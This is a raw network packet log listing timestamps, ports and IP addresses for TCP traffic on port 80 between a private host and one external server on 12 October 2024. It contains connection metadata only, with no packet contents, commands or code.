Oct 12, 2024 14:17:10.497632980 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.497656107 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.497663021 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.497709990 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.497715950 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.497742891 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.497765064 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.497776031 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.497788906 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.497808933 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.497832060 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.497839928 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.497854948 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.497870922 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.497884035 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.497915983 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.497919083 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.497951031 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.497963905 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.497994900 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.497997046 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.498029947 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.498044014 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.498060942 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.498075962 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.498092890 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.498116970 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.498126984 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.498148918 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.498167038 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.498176098 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.498225927 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.498228073 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.498274088 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.498281956 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.498303890 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.498328924 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.498336077 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.498347044 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.498383999 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.498387098 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.498415947 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.498440027 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.498447895 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.498460054 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.498480082 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.498491049 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.498512030 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.498538017 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.498543024 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.498557091 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.498574018 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.498596907 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.498605013 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.498620033 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.498635054 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.498656988 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.498666048 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.498675108 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.498697042 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.498719931 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.498728037 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.498739958 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.498758078 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.498780012 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.498790026 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.498810053 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.498821020 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.498841047 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.498853922 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.498862982 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.498884916 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.498912096 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.498915911 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.498930931 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.498946905 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.498960972 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.498979092 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.498991966 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.499011993 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.499022007 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.499043941 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.499057055 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.499074936 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.499088049 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.499105930 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.499128103 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.499136925 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.499150991 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.499169111 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.499197006 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.499200106 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.499228001 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.499232054 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.499245882 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.499263048 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.499288082 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.499294043 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.499308109 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.499324083 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.499337912 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.499355078 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.499366999 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.499406099 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.499433994 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.499439955 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.499454021 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.499470949 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.499499083 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.499504089 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.499520063 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.499533892 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.499557018 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.499564886 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.499579906 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.499598980 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.499609947 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.499629974 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.499644995 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.499660969 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.499675989 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.499692917 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.499705076 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.499722958 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.499746084 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.499754906 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.499768019 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.499787092 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.499802113 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.499819040 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.499831915 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.499850035 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.499881983 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.499883890 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.499911070 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.499913931 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.499929905 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.499946117 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.499958038 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.499977112 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.500000000 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.500006914 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.500026941 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.500035048 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.500056028 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.500066042 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.500088930 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.500097036 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.500107050 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.500127077 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.500154018 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.500159979 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.500171900 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.500190973 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.500205040 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.500221968 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.500236034 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.500251055 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.500269890 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.500281096 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.500294924 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.500313044 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.500334024 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.500343084 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.500359058 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.500375032 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.500386953 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.500406981 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.500417948 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.500438929 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.500451088 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.500472069 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.500502110 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.500520945 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.585319996 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.585395098 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.585429907 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.585462093 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.585494041 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.585525990 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.585525990 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.585525990 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.585525990 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.585542917 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.585576057 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.585608959 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.585608959 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.585625887 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.585634947 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.585659027 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.585683107 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.585690975 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.585702896 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.585721970 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.585733891 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.585752964 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.585776091 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.585793972 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.585803032 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.585834980 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.585848093 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.585872889 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.585882902 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.585905075 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.585933924 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.585936069 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.585958004 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.585968971 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.585977077 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.586000919 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.586015940 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.586044073 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.586050987 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.586081982 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.586096048 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.586112976 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.586128950 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.586144924 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.586158037 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.586177111 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.586199999 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.586209059 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.586218119 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.586240053 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.586268902 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.586272955 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.586286068 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.586321115 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.586325884 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.586353064 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.586378098 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.586384058 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.586396933 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.586416006 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.586438894 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.586452007 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.586472034 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.586483955 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.586489916 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.586514950 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.586535931 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.586545944 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.586555004 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.586576939 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.586601973 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.586610079 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.586621046 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.586657047 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.586658001 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.586708069 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.586731911 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.586739063 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.586761951 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.586771965 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.586780071 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.586802959 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.586828947 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.586836100 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.586848021 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.586867094 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.586889029 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.586898088 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.586909056 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.586930037 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.586952925 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.586975098 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.586977959 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.587011099 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.587025881 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.587054014 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.587059021 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.587091923 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.587115049 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.587135077 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.587143898 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.587176085 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.587198019 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.587215900 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.587224007 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.587258101 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.587266922 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.587305069 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.587306023 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.587337017 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.587357998 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.587368011 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.587383032 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.587418079 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.587452888 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.587485075 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.587508917 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.587517023 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.587538004 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.587548971 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.587563992 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.587580919 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.587605000 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.587626934 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.587629080 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.587661028 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.587682962 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.587692022 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.587706089 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.587723970 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.587742090 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.587764978 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.587771893 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.587804079 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.587817907 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.587835073 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.587846994 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.587869883 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.587879896 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.587902069 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.587924957 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.587933064 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.587953091 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.587984085 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.588009119 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.588015079 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.588046074 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.588071108 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.588078022 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.588109970 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.588110924 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.588141918 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.588145971 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.588165998 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.588171959 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.588196993 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.588203907 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.588232040 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.588236094 CEST	80	49730	178.63.215.77	192.168.2.4
